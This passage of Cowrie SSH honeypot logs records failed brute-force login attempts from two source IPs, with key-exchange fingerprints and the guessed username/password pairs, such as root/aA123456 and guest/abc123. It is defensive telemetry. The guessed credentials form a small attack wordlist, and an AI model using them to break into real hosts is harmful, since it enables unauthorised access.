16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:11.121560Z","src_ip":"173.236.141.65","session":"9d3d08642979","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bluzelle456","message":"login attempt [root/bluzelle456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:11.149106Z","src_ip":"173.236.141.65","session":"9d3d08642979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:12.160208Z","src_ip":"173.236.141.65","session":"9d3d08642979","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":48776,"dst_ip":"10.17.0.5","dst_port":22,"session":"c84897c315f6","protocol":"ssh","message":"New connection: 45.156.87.253:48776 (10.17.0.5:22) [session: c84897c315f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:12.326768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:12.330344Z","src_ip":"45.156.87.253","session":"c84897c315f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:12.413806Z","src_ip":"45.156.87.253","session":"c84897c315f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:12.664672Z","src_ip":"45.156.87.253","session":"c84897c315f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:13.751754Z","src_ip":"45.156.87.253","session":"c84897c315f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":48792,"dst_ip":"10.17.0.5","dst_port":22,"session":"b39529ed6043","protocol":"ssh","message":"New connection: 45.156.87.253:48792 (10.17.0.5:22) [session: b39529ed6043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:15.660021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:15.663661Z","src_ip":"45.156.87.253","session":"b39529ed6043","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:15.744834Z","src_ip":"45.156.87.253","session":"b39529ed6043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:15.989642Z","src_ip":"45.156.87.253","session":"b39529ed6043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:17.073544Z","src_ip":"45.156.87.253","session":"b39529ed6043","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":48800,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dcef666b63c","protocol":"ssh","message":"New connection: 45.156.87.253:48800 (10.17.0.5:22) [session: 7dcef666b63c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:19.089342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:19.092729Z","src_ip":"45.156.87.253","session":"7dcef666b63c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:19.175874Z","src_ip":"45.156.87.253","session":"7dcef666b63c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:19.420271Z","src_ip":"45.156.87.253","session":"7dcef666b63c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:20.503242Z","src_ip":"45.156.87.253","session":"7dcef666b63c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41348,"dst_ip":"10.17.0.5","dst_port":22,"session":"000b1d17bb04","protocol":"ssh","message":"New connection: 45.156.87.253:41348 (10.17.0.5:22) [session: 000b1d17bb04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:22.388681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:22.392534Z","src_ip":"45.156.87.253","session":"000b1d17bb04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:22.472886Z","src_ip":"45.156.87.253","session":"000b1d17bb04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grok","password":"12345678","message":"login attempt [grok/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:22.714543Z","src_ip":"45.156.87.253","session":"000b1d17bb04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:23.797754Z","src_ip":"45.156.87.253","session":"000b1d17bb04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41352,"dst_ip":"10.17.0.5","dst_port":22,"session":"35c1545c629a","protocol":"ssh","message":"New connection: 45.156.87.253:41352 (10.17.0.5:22) [session: 35c1545c629a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:25.751898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:25.845932Z","src_ip":"45.156.87.253","session":"35c1545c629a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:25.848779Z","src_ip":"45.156.87.253","session":"35c1545c629a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nD6ffS9msOngs","message":"login attempt [root/nD6ffS9msOngs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:26.180427Z","src_ip":"45.156.87.253","session":"35c1545c629a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:27.263448Z","src_ip":"45.156.87.253","session":"35c1545c629a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36924,"dst_ip":"10.17.0.5","dst_port":22,"session":"c92463520048","protocol":"ssh","message":"New connection: 45.156.87.253:36924 (10.17.0.5:22) [session: c92463520048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:29.167372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:29.170707Z","src_ip":"45.156.87.253","session":"c92463520048","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:29.250573Z","src_ip":"45.156.87.253","session":"c92463520048","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456789","message":"login attempt [deploy/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:29.492886Z","src_ip":"45.156.87.253","session":"c92463520048","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:30.710119Z","src_ip":"45.156.87.253","session":"c92463520048","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36932,"dst_ip":"10.17.0.5","dst_port":22,"session":"e185892a4edf","protocol":"ssh","message":"New connection: 45.156.87.253:36932 (10.17.0.5:22) [session: e185892a4edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:32.534949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:32.634346Z","src_ip":"45.156.87.253","session":"e185892a4edf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:32.714512Z","src_ip":"45.156.87.253","session":"e185892a4edf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:33.065008Z","src_ip":"45.156.87.253","session":"e185892a4edf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:34.147964Z","src_ip":"45.156.87.253","session":"e185892a4edf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36938,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3ac8b017607","protocol":"ssh","message":"New connection: 45.156.87.253:36938 (10.17.0.5:22) [session: d3ac8b017607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:36.041159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:36.045002Z","src_ip":"45.156.87.253","session":"d3ac8b017607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:36.127100Z","src_ip":"45.156.87.253","session":"d3ac8b017607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:36.370837Z","src_ip":"45.156.87.253","session":"d3ac8b017607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:37.453933Z","src_ip":"45.156.87.253","session":"d3ac8b017607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":50818,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4a8d5ad818b","protocol":"ssh","message":"New connection: 45.156.87.253:50818 (10.17.0.5:22) [session: e4a8d5ad818b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:39.334085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:39.337302Z","src_ip":"45.156.87.253","session":"e4a8d5ad818b","protocol":"ssh"}
